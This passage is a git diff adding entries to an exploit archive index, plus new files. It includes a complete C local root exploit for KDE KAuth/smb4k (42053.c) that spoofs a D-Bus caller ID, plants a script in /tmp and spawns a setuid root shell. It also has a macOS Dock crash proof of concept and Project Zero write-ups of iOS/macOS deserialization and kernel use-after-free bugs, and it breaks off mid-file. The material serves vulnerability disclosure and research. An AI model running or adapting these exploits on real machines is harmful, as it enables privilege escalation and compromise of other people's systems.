diff --git a/files.csv b/files.csv index 1405484d2..c8069e77b 100644 --- a/files.csv +++ b/files.csv @@ -5507,6 +5507,13 @@ id,file,description,date,author,platform,type,port 42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0 42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0 42048,platforms/linux/dos/42048.c,"Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer",2017-05-22,"Google Security Research",linux,dos,0 +42049,platforms/multiple/dos/42049.txt,"Apple iOS/macOS - Memory Corruption Due to Bad Bounds Checking in NSCharacterSet Coding for NSKeyedUnarchiver",2017-05-23,"Google Security Research",multiple,dos,0 +42050,platforms/multiple/dos/42050.txt,"Apple iOS/macOS - NSUnarchiver Heap Corruption Due to Lack of Bounds Checking in [NSBuiltinCharacterSet initWithCoder:]",2017-05-23,"Google Security Research",multiple,dos,0 +42051,platforms/multiple/dos/42051.txt,"Apple iOS/macOS - NSKeyedArchiver Heap Corruption Due to Rounding Error in 'TIKeyboardLayout initWithCoder:'",2017-05-23,"Google Security Research",multiple,dos,0 +42052,platforms/multiple/dos/42052.txt,"Apple iOS/macOS - NSKeyedArchiver Memory Corruption Due to Lack of Bounds Checking in 'CAMediaTimingFunctionBuiltin'",2017-05-23,"Google Security Research",multiple,dos,0 +42054,platforms/multiple/dos/42054.c,"Apple iOS/macOS Kernel - Use-After-Free Due to Bad Locking in Unix Domain Socket File Descriptor Externalization",2017-05-23,"Google Security Research",multiple,dos,0 +42055,platforms/multiple/dos/42055.c,"Apple iOS/macOS Kernel - Memory Disclosure Due to Lack of Bounds Checking in netagent Socket Option Handling",2017-05-23,"Google Security Research",multiple,dos,0 +42056,platforms/macos/dos/42056.c,"Apple macOS - Local Privilege Escalation Due to Lack of Bounds Checking in HIServices Custom CFObject Serialization",2017-05-23,"Google Security Research",macos,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -9000,6 +9007,7 @@ id,file,description,date,author,platform,type,port 41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0 42020,platforms/windows/local/42020.cpp,"Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation",2017-05-17,"Google Security Research",windows,local,0 42045,platforms/linux/local/42045.c,"VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation",2017-05-22,"Google Security Research",linux,local,0 +42053,platforms/linux/local/42053.c,"KDE 4/5 - 'KAuth' Privilege Escalation",2017-05-18,Stealth,linux,local,0 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 @@ -15530,6 +15538,7 @@ id,file,description,date,author,platform,type,port 42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0 42031,platforms/win_x86-64/remote/42031.py,"Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445 42041,platforms/windows/remote/42041.txt,"Secure Auditor 3.0 - Directory Traversal",2017-05-20,hyp3rlinx,windows,remote,0 +42057,platforms/windows/remote/42057.rb,"VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)",2017-05-23,Metasploit,windows,remote,0 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 diff --git a/platforms/linux/local/42053.c b/platforms/linux/local/42053.c new file mode 100755 index 000000000..fd6a82f2f --- /dev/null +++ b/platforms/linux/local/42053.c @@ -0,0 +1,148 @@ +// cc -Wall smb0k.c -pedantic -std=c11 +// +// smb4k PoC, also demonstrating broader scope of a generic kde +// authentication bypass vulnerability +// +// (C) 2017 Sebastian Krahmer +// + +#define _POSIX_C_SOURCE 200112L +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +void die(const char *s) +{ + perror(s); + exit(errno); +} + + +int main(int argc, char **argv) +{ + char me[1024] = {0}; + char *dbus[] = { + "/usr/bin/dbus-send", + "--system", + "--print-reply", + "--dest=net.sourceforge.smb4k.mounthelper", + "/", + "org.kde.auth.performActions", + "array:byte:" +// The variant map, containing evil mh_command key-pair +"0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74," +"0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65," +"0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73," +"0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f," +"0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70," +"0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e," +"0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68," +"0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72," +"0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00," +"0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00," +"0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d," +"0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36," +"0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35," +"0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68," +"0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00," +"0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00," +"0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00," +"0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00," +"0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00," +"0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02," +"0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75," +"0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65," +"0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69," +"0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c," +"0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30," +"0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34," +"0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66," +"0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64," +"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c," +"0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64," +"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c," +"0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f," +"0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73," +"0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76," +"0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63," +"0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74," +"0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f," +"0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72," +"0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e," +"0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c," +"0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e," +"0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d," +"0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69," +"0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00," +"0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00," +"0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00," +"0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00," +"0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00," +"0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00," +"0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff," +"0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f," +"0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a," +"0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00," +"0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00," +"0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74," +"0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75," +"0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73", + +// the callerID, ":1.0" which is dbus itself and thus always passes +"array:byte:58,49,46,48", NULL}; + + char *boomsh = "/tmp/xmount.cifs"; + char *const sh[] = {me, "shell", NULL}; + char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL}; + struct stat st; + int fd = -1; + + if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) + die("[-] readlink"); + + if (geteuid() == 0) { + setuid(0); + setgid(0); + if (argc == 2) { + execve(*bash, bash, NULL); + die("[-] execve of bash"); + } + chown(me, 0, 0); + chmod(me, 04755); + exit(0); + } + + printf("[*] Creating shellscript ...\n"); + unlink(boomsh); + if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0) + die("[-] open"); + write(fd, "#!/bin/sh\n", 10); + write(fd, me, strlen(me)); + write(fd, "\n", 1); + close(fd); + + printf("[*] Triggering call...\n"); + + if (fork() == 0) { + execve(*dbus, dbus, NULL); + exit(1); + } + wait(NULL); + sleep(5); + printf("[*] Trying to find rootshell...\n"); + + memset(&st, 0, sizeof(st)); + stat(me, &st); + if ((st.st_mode & 04000) != 04000) + die("[-] Failed to chmod ourselfs.\n"); + + execve(me, sh, NULL); + return 0; +} diff --git a/platforms/macos/dos/42056.c b/platforms/macos/dos/42056.c new file mode 100755 index 000000000..698fc6cc6 --- /dev/null +++ b/platforms/macos/dos/42056.c @@ -0,0 +1,170 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219 + +HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism. + +The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that +to index an array of function pointers for the support types: + +__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize +__const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co +__const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ... +__const:0000000000053ED8 dq offset _cfNumberUnserialize +__const:0000000000053EE0 dq offset _cfBooleanUnserialize +__const:0000000000053EE8 dq offset _cfArrayUnserialize +__const:0000000000053EF0 dq offset _cfDictionaryUnserialize +__const:0000000000053EF8 dq offset _cfDataUnserialize +__const:0000000000053F00 dq offset _cfDateUnserialize +__const:0000000000053F08 dq offset _cfURLUnserialize +__const:0000000000053F10 dq offset _cfNullUnserialize +__const:0000000000053F18 dq offset _cfAttributedStringUnserialize +__const:0000000000053F20 dq offset _axElementUnserialize +__const:0000000000053F28 dq offset _axValueUnserialize +__const:0000000000053F30 dq offset _cgColorUnserialize +__const:0000000000053F38 dq offset _axTextMarkerUnserialize +__const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize +__const:0000000000053F48 dq offset _cgPathUnserialize + +From a cursory inspection it's clear that these methods don't expect to parse untrusted data. + +The first method, cfStringUnserialize, trusts the length field in the serialized representation +and uses that to byte-swap the string without any bounds checking leading to memory corruption. + +I would guess that all the other unserialization methods should also be closely examined. + +This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also +runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism +is also used in replies to dock clients. + +com.apple.uninstalld is a client of the Dock and runs as root +so by first exploiting this bug to gain code execution as the Dock process, we could +trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root. + +This poc just crashes the Dock process though. + +Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize: +https://github.com/facebook/WebDriverAgent/pull/99/files + +Tested on MacOS 10.12.3 (16D32) +*/ + +// ianbeer +#if 0 +MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization + +HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism. + +The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that +to index an array of function pointers for the support types: + +__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize +__const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co +__const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ... +__const:0000000000053ED8 dq offset _cfNumberUnserialize +__const:0000000000053EE0 dq offset _cfBooleanUnserialize +__const:0000000000053EE8 dq offset _cfArrayUnserialize +__const:0000000000053EF0 dq offset _cfDictionaryUnserialize +__const:0000000000053EF8 dq offset _cfDataUnserialize +__const:0000000000053F00 dq offset _cfDateUnserialize +__const:0000000000053F08 dq offset _cfURLUnserialize +__const:0000000000053F10 dq offset _cfNullUnserialize +__const:0000000000053F18 dq offset _cfAttributedStringUnserialize +__const:0000000000053F20 dq offset _axElementUnserialize +__const:0000000000053F28 dq offset _axValueUnserialize +__const:0000000000053F30 dq offset _cgColorUnserialize +__const:0000000000053F38 dq offset _axTextMarkerUnserialize +__const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize +__const:0000000000053F48 dq offset _cgPathUnserialize + +From a cursory inspection it's clear that these methods don't expect to parse untrusted data. + +The first method, cfStringUnserialize, trusts the length field in the serialized representation +and uses that to byte-swap the string without any bounds checking leading to memory corruption. + +I would guess that all the other unserialization methods should also be closely examined. + +This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also +runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism +is also used in replies to dock clients. + +com.apple.uninstalld is a client of the Dock and runs as root +so by first exploiting this bug to gain code execution as the Dock process, we could +trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root. + +This poc just crashes the Dock process though. + +Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize: +https://github.com/facebook/WebDriverAgent/pull/99/files + +Tested on MacOS 10.12.3 (16D32) +#endif + +#include +#include +#include + +#include +#include +#include + +struct dock_msg { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_descriptor_t ool_desc; + uint8_t PAD[0xc]; + uint32_t ool_size; +}; + +int main() { + kern_return_t err; + mach_port_t service_port; + err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port); + if (err != KERN_SUCCESS) { + printf(" [-] unable to lookup service"); + exit(EXIT_FAILURE); + } + printf("got service port: %x\n", service_port); + + uint32_t serialized_string[] = + { 'abcd', // neither 'owen' or 'aela' -> bswap? + 0x0, // type = cfStringUnserialize + 0x41414141, // length + 0x41414141, // length + 0x1, // contents + 0x2, + 0x3 }; + + struct dock_msg m = {0}; + + m.hdr.msgh_size = sizeof(struct dock_msg); + m.hdr.msgh_local_port = MACH_PORT_NULL; + m.hdr.msgh_remote_port = service_port; + m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); + m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem + m.ool_size = sizeof(serialized_string); + + m.body.msgh_descriptor_count = 1; + + m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR; + m.ool_desc.address = serialized_string; + m.ool_desc.size = sizeof(serialized_string); + m.ool_desc.deallocate = 0; + m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY; + + err = mach_msg(&m.hdr, + MACH_SEND_MSG, + m.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf(" [-] mach_msg failed with error code:%x\n", err); + exit(EXIT_FAILURE); + } + printf(" [+] looks like that sent?\n"); + + return 0; +} diff --git a/platforms/multiple/dos/42049.txt b/platforms/multiple/dos/42049.txt new file mode 100755 index 000000000..a4cb28284 --- /dev/null +++ b/platforms/multiple/dos/42049.txt @@ -0,0 +1,79 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1168 + +The dump today has this list of iOS stuff: +https://wikileaks.org/ciav7p1/cms/page_13205587.html + +Reading through this sounded interesting: + +""" +Buffer Overflow caused by deserialization parsing error in Foundation library + +Sending a crafted NSArchiver object to any process that calls NSArchive unarchive method will result in +a buffer overflow, allowing for ROP. +""" + +So I've spent all day going through initWithCoder: implementations looking for heap corruption :) + +The unarchiving of NSCharacterSet will call NSCharacterSetCFCharacterSetCreateWithBitmapRepresentation + +If we pass a large bitmap we can get to the following call multiple times: + + while (length > 1) { + annexSet = (CFMutableCharacterSetRef)__CFCSetGetAnnexPlaneCharacterSet(cset, *(bytes++)); + +Here's that function (from the quite old CF code, but the disassm still matches) + +CF_INLINE CFCharacterSetRef __CFCSetGetAnnexPlaneCharacterSet(CFCharacterSetRef cset, int plane) { + __CFCSetAllocateAnnexForPlane(cset, plane); + if (!__CFCSetAnnexBitmapGetPlane(cset->_annex->_validEntriesBitmap, plane)) { + cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset)); + __CFCSetAnnexBitmapSetPlane(cset->_annex->_validEntriesBitmap, plane); + } + return cset->_annex->_nonBMPPlanes[plane - 1]; +} + +note the interesting [plane - 1], however if we just call this with plane = 0 first + __CFCSetAllocateAnnexForPlane will set the _nonBMPPlanes to NULL rather than allocating it + +but if we supply a large enough bitmap such that we can call __CFCSetGetAnnexPlaneCharacterSet twice, +passing 1 the first time and 0 the second time then we can reach: + + cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset)); + +with plane = 0 leading to writing a pointer to semi-controlled data one qword below the heap allocation _nonBMPPlanes. + +This PoC is just a crasher but it looks pretty exploitable. + +The wikileaks dump implies that this kind of bug can be exploited both via IPC and as a persistence mechanism where apps +serialize objects to disk. If I come up with a better PoC for one of those avenues I'll attach it later. + +(note that the actual PoC object is in the other file (longer_patched.bin) + +tested on MacOS 10.12.3 (16D32) + +################################################################################ + +A few notes on the relevance of these bugs: + +NSXPC uses the "secure" version of NSKeyedArchiver where the expected types have to be declared upfront by a message receiver. This restricts the NSXPC attack surface for these issues to either places where overly broad base classes are accepted (like NSObject) or to just those services which accept classes with vulnerable deserializers. + +There are also other services which use NSKeyedArchives in the "insecure" mode (where the receiver doesn't supply a class whitelist.) Some regular (not NSXPC) xpc services use these. In those cases you could use these bugs to escape sandboxes/escalate privileges. + +Lots of apps serialize application state to NSKeyedArchives and don't use secure coding providing an avenue for memory-corruption based persistence on iOS. + +Futhermore there seem to be a bunch of serialized archives on the iPhone which you can touch via the services exposed by lockdownd (over the USB cable) providing an avenue for "local" exploitation (jumping from a user's desktop/laptop to the phone.) The host computer would need to have a valid pairing record to do this without prompts. + +For example the following files are inside the AFC jail: + +egrep -Rn NSKeyedArchiver * +Binary file Downloads/downloads.28.sqlitedb matches +Binary file Downloads/downloads.28.sqlitedb-wal matches +Binary file PhotoData/AlbumsMetadata/0F31509F-271A-45BA-9E1F-C6F7BC4A537F.foldermetadata matches +Binary file PhotoData/FacesMetadata/NVP_HIDDENFACES.hiddenfacemetadata matches + +00006890 | 24 76 65 72 73 69 6F 6E 58 24 6F 62 6A 65 63 74 | $versionX$object +000068A0 | 73 59 24 61 72 63 68 69 76 65 72 54 24 74 6F 70 | sY$archiverT$top + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42049.zip diff --git a/platforms/multiple/dos/42050.txt b/platforms/multiple/dos/42050.txt new file mode 100755 index 000000000..9e2c6a11f --- /dev/null +++ b/platforms/multiple/dos/42050.txt @@ -0,0 +1,15 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1170 + +Via NSUnarchiver we can read NSBuiltinCharacterSet with a controlled serialized state. +It reads a controlled int using decodeValueOfObjCType:"i" then either passes it to +CFCharacterSetGetPredefined or uses it directly to manipulate __NSBuiltinSetTable. +Neither path has any bounds checking and the index is used to maniupulate c arrays of pointers. + +Attached python script will generate a serialized NSBuiltinCharacterSet with a value of 42 +for the character set identifier. + +tested on MacOS 10.12.3 (16D32) + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42050.zip diff --git a/platforms/multiple/dos/42051.txt b/platforms/multiple/dos/42051.txt new file mode 100755 index 000000000..822c1ca9e --- /dev/null +++ b/platforms/multiple/dos/42051.txt @@ -0,0 +1,44 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1172 + +Using lldb inside a simple hello_world app for iOS we can see that there are over 600 classes which we could get deserialized +(for persistance for example.) + +The TextInput framework which is loaded has a class TIKeyboardLayout. The initWithCoder: implementation has this code: + +(this is the x86 code, the framework is there on both platforms.) + + mov r15, cs:selRef_decodeBytesForKey_returnedLength_ + lea rdx, cfstr_Frames ; "frames" + lea rcx, [rbp+var_40] <-- length of serialized binary data + mov rdi, r14 + mov rsi, r15 + call r13 ; _objc_msgSend + mov r12, rax <-- pointer to serialized binary data + mov rdx, [rbp+var_40] + shr rdx, 3 <-- divide length by 8 + mov rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__count ; uint64_t _count; + mov [rbx+rax], rdx + mov rsi, cs:selRef_ensureFrameCapacity_ + mov rdi, rbx + call r13 ; _objc_msgSend <-- will calloc(len/8, 8) and assign to _frames + mov rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__frames ; struct _ShortRect *_frames; + mov rdi, [rbx+rax] ; void * + mov rdx, [rbp+var_40] ; size_t <-- original length not divided by 8 + mov rsi, r12 ; void * + call _memcpy <-- can memcpy up to 7 bytes more than was allocated + +This method reads binary data from the NSCoder, it divides the length by 8 and passes that to ensureFrameCapacity +which passes it to calloc with an item size of 8. This has the effect of mallocing the original size rounded down +to the nearest multiple of 8. + +The memcpy then uses the original length (not rounded down) causing a controlled heap buffer overflow. + +I've created a serialized TIKeyboardLayout with a frames value which is "A"*0x107. + +Use ASAN to see the crash clearly (see provided compiler invokation.) + +tested on MacOS 10.12.3 (16D32) + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42051.zip diff --git a/platforms/multiple/dos/42052.txt b/platforms/multiple/dos/42052.txt new file mode 100755 index 000000000..af3f22362 --- /dev/null +++ b/platforms/multiple/dos/42052.txt @@ -0,0 +1,20 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1175 + +CAMediaTimingFunctionBuiltin is a class in QuartzCore. Its initWithCoder: method +reads an Int "index" then passes that to builtin_function + + mov ebx, edi <-- controlled unsigned int + mov r14d, ebx + lea r15, __ZL9functions_0 ; functions + mov rax, [r15+r14*8] + +if rax is non-null it's returned as an objective-c object pointer and the objective-c retain +selector is sent to it. + +Serialized poc in attached file with an index of 12345678. + +tested on MacOS 10.12.3 (16D32) + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42052.zip diff --git a/platforms/multiple/dos/42054.c b/platforms/multiple/dos/42054.c new file mode 100755 index 000000000..afce5ecc9 --- /dev/null +++ b/platforms/multiple/dos/42054.c @@ -0,0 +1,313 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1123 + +unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message. +That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file +the sender sent. + +Here's the relevant code: + + for (i = 0; i < newfds; i++) { <----------- (a) +#if CONFIG_MACF_SOCKET + /* + * If receive access is denied, don't pass along + * and error message, just discard the descriptor. + */ + if (mac_file_check_receive(kauth_cred_get(), rp[i])) { + proc_fdunlock(p); + unp_discard(rp[i], p); + fds[i] = 0; + proc_fdlock(p); + continue; + } +#endif + if (fdalloc(p, 0, &f)) + panic("unp_externalize:fdalloc"); + fp = fileproc_alloc_init(NULL); + if (fp == NULL) + panic("unp_externalize: MALLOC_ZONE"); + fp->f_iocount = 0; + fp->f_fglob = rp[i]; + if (fg_removeuipc_mark(rp[i])) + fgl[i] = rp[i]; + else + fgl[i] = NULL; + procfdtbl_releasefd(p, f, fp); + fds[i] = f; + } + proc_fdunlock(p); <-------- (b) + + for (i = 0; i < newfds; i++) { + if (fgl[i] != NULL) { + VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ); + fg_removeuipc(fgl[i]); <--------- (c) + } + if (fds[i]) + (void) OSAddAtomic(-1, &unp_rights); + } + + +The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver +and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized +the fd is released and associated with the new fp. + +At (b) the code then drops the process fd lock at which point other threads can access the fd table again. + +At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't* +hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing +the fd between (b) and (c). + +Use zone poisoning for a reliable crasher. + +tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 +*/ + +//ianbeer +//the ReadDescriptor and Write Descriptor functions are based on Apple sample code from: https://developer.apple.com/library/content/qa/qa1541/_index.html + +#if 0 +iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization + +unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message. +That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file +the sender sent. + +Here's the relevant code: + + for (i = 0; i < newfds; i++) { <----------- (a) +#if CONFIG_MACF_SOCKET + /* + * If receive access is denied, don't pass along + * and error message, just discard the descriptor. + */ + if (mac_file_check_receive(kauth_cred_get(), rp[i])) { + proc_fdunlock(p); + unp_discard(rp[i], p); + fds[i] = 0; + proc_fdlock(p); + continue; + } +#endif + if (fdalloc(p, 0, &f)) + 